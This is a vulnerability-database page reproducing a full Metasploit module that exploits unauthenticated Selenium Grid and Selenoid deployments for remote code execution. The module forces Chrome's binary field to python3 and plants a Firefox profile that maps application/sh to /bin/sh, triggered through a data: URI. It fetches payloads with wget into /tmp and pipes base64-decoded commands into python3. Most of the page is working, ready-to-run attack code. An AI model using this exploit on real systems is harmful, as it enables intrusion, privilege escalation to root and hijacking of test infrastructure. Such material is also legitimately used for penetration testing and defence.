Lucene search
K

📄 Selenium Grid/Selenoid Unauthenticated Remote Code Execution

🗓️ 14 Apr 2026 00:00:00Reported by Jon Stratton, Valentin Lobstein, Wiz Research, Takahiro YokoyamaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 70 Views

Unauthenticated remote code execution in Selenium Grid or Selenoid via Chrome binary field or Firefox profile.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Module::Deprecated
      moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
      moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Payload::Python
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
            'Description' => %q{
              Selenium Grid and Selenoid expose a WebDriver API that allows creating
              browser sessions with arbitrary capabilities. When deployed without
              authentication (the default for both), an attacker can achieve remote
              code execution through two browser-specific techniques:
    
              For Chrome, the goog:chromeOptions binary field can be set to an
              arbitrary executable such as /usr/bin/python3, since ChromeDriver does
              not validate it. This was fixed in Selenium Grid 4.11.0 via the
              stereotype capabilities merge. All Selenoid versions remain vulnerable.
    
              For Firefox, a custom profile containing a malicious MIME handler that
              maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
              Navigating to a data: URI with that content type triggers shell
              execution. This technique has never been patched and works on all
              Selenium Grid versions including the latest release.
    
              The module auto-detects available browsers and selects the best attack
              vector. Firefox is preferred as it works on all Grid versions.
    
              The default Docker images run as seluser/selenium with passwordless
              sudo, allowing trivial privilege escalation to root.
            },
            'Author' => [
              'Jon Stratton',
              'Wiz Research',
              'Takahiro Yokoyama',
              'Valentin Lobstein <chocapikk[at]leakix.net>'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
              ['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
              ['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
              ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
              ['EDB', '49915'],
              ['CWE', '306']
            ],
            'Platform' => %w[python unix linux],
            'Arch' => [ARCH_PYTHON, ARCH_CMD],
            'Payload' => {},
            'Targets' => [
              [
                'Python In-Memory',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_DELETE' => true,
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2021-05-28',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          Opt::RPORT(4444),
          OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
          OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
        ])
      end
    
      def check
        @backend = detect_backend
        return CheckCode::Unknown('No response from target') unless @backend
    
        @browsers = enumerate_browsers
        return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?
    
        check_grid
      end
    
      def exploit
        @backend ||= detect_backend
        @browsers ||= enumerate_browsers
        browser = select_browser
        fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser
    
        send("exploit_#{browser}")
      end
    
      private
    
      def selenoid?
        @backend&.dig(:type) == :selenoid
      end
    
      def session_path
        normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
      end
    
      def grid_version
        nodes = @backend&.dig(:value, 'nodes')
        return unless nodes.is_a?(Array) && !nodes.empty?
    
        version_raw = nodes.first['version']
        return unless version_raw
    
        version_raw.split(/\s/).first
      end
    
      def chrome_vuln?
        return true if selenoid?
    
        ver = grid_version
        ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
      end
    
      def detect_backend
        %w[status wd/hub/status].each do |path|
          res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
          next unless res&.code == 200
    
          value = res.get_json_document['value']
          next unless value.is_a?(Hash) && value['message'].is_a?(String)
    
          msg = value['message'].downcase
          return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
          return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
        end
        nil
      end
    
      def enumerate_browsers
        return [] unless @backend
        return selenoid_browsers if selenoid?
    
        grid_browsers
      end
    
      def selenoid_browsers
        browsers = @backend[:value]['browsers']
        return %w[chrome firefox] unless browsers.is_a?(Hash)
    
        browsers.keys.map(&:downcase)
      end
    
      def grid_browsers
        nodes = @backend[:value]['nodes']
        return [] unless nodes.is_a?(Array)
    
        nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
      end
    
      def check_grid
        ver_str = grid_version
        return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
        return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
        return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
        return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')
    
        CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
      end
    
      def select_browser
        choice = datastore['BROWSER']
    
        if choice != 'auto'
          print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
          return choice
        end
    
        if @browsers.include?('firefox')
          print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
          return 'firefox'
        end
    
        if @browsers.include?('chrome') && chrome_vuln?
          print_status('Auto-selected Chrome (binary override)')
          return 'chrome'
        end
    
        print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
        nil
      end
    
      def create_session(body)
        send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
      end
    
      def cleanup_session(session_id)
        res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
        print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
      rescue StandardError
        nil
      end
    
      def exploit_chrome
        body = {
          'capabilities' => {
            'alwaysMatch' => {
              'browserName' => 'chrome',
              'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
            }
          }
        }.to_json
    
        print_status('Sending Chrome session request with binary override...')
        res = create_session(body)
    
        return print_warning('No response received (expected - Python exits after execution)') unless res
        return print_good('Payload executed (server returned 500 as expected)') if res.code == 500
    
        fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200
    
        json = res.get_json_document
        return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')
    
        session_id = json.dig('value', 'sessionId')
        return unless session_id
    
        print_warning("Session #{session_id} created but binary override may have been ignored")
        cleanup_session(session_id)
      end
    
      def build_python_payload
        inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
        py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
      end
    
      def exploit_firefox
        encoded_profile = build_malicious_profile
        body = {
          'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
          'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
        }.to_json
    
        print_status('Creating Firefox session with malicious profile...')
        res = create_session(body)
        fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res
    
        session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
        fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
        print_status("Session created: #{session_id}")
    
        cmd = payload.encoded
        cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
        script = "#{cmd}\n"
    
        fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
        fetch_file = datastore['FETCH_FILENAME']
        register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file
    
        print_status('Navigating to data: URI to trigger handler...')
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
          'ctype' => 'application/json',
          'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
        )
    
        cleanup_session(session_id)
      end
    
      def build_malicious_profile
        stringio = Zip::OutputStream.write_buffer do |io|
          io.put_next_entry('handlers.json')
          io.write({
            'defaultHandlersVersion' => { 'en-US' => 4 },
            'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
          }.to_json)
        end
        stringio.rewind
        Base64.strict_encode64(stringio.sysread)
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation